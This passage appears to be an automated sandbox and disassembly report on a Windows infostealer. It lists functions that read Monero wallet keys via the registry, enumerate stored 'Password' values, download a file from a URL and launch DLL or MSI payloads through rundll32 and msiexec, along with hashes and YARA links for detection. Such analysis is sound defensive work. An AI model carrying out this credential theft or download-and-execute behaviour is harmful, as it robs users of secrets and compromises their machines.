Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415116
ERROR, xrefs: 00415173
ERROR, xrefs: 0041525D
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415329
ERROR, xrefs: 00415412

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 406436e274d9ffe12e75e645551f6c92370e1ab0f2f19eaafc7a0f8fd77dbb9b
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: 406436e274d9ffe12e75e645551f6c92370e1ab0f2f19eaafc7a0f8fd77dbb9b
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

/i ", xrefs: 00412EF4
"" , xrefs: 00412BAA
C:\Windows\system32\rundll32.exe, xrefs: 00412E42
.dll, xrefs: 00412CF5
.msi, xrefs: 00412EA8
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
<, xrefs: 00412FA0
/passive, xrefs: 00412F6B

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: c28f8aad11453d3c542b01b6c4d715c89546927ab3c44fbe9be78aa6a877426d
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: c28f8aad11453d3c542b01b6c4d715c89546927ab3c44fbe9be78aa6a877426d
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02738E98,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$ChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3420786452-218353709
Opcode ID: e7490377a3a12deaafef38a7d64b522ebf31687c21246c057fa817330277aa85
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: e7490377a3a12deaafef38a7d64b522ebf31687c21246c057fa817330277aa85
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,0275AC80), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 449328342-3681770271
Opcode ID: f603d9cd34b5999a88bc94178d56e612a93923da023668145be7d4ce2590ceed
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: f603d9cd34b5999a88bc94178d56e612a93923da023668145be7d4ce2590ceed
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(352C1020,004217A0), ref: 00407646
lstrcat.KERNEL32(352C1020,00000000), ref: 00407688
lstrcat.KERNEL32(352C1020, : ), ref: 0040769A
lstrcat.KERNEL32(352C1020,00000000), ref: 004076CF
lstrcat.KERNEL32(352C1020,004217A8), ref: 004076E0
lstrcat.KERNEL32(352C1020,00000000), ref: 00407713
lstrcat.KERNEL32(352C1020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 32341a83fe9ba4225218fc79e24391de355931652ad12096140b8d48397dc5aa
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 32341a83fe9ba4225218fc79e24391de355931652ad12096140b8d48397dc5aa
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

C, xrefs: 00416FEC
:, xrefs: 00416FFC
\, xrefs: 00417000

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02759108,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02759108,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

%d MB, xrefs: 00417C43
@, xrefs: 00417BED

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: c453f61fdad82316102293a0e958c512ba88ebf48c4ed154d6fcde4d13788c1c
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: c453f61fdad82316102293a0e958c512ba88ebf48c4ed154d6fcde4d13788c1c
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
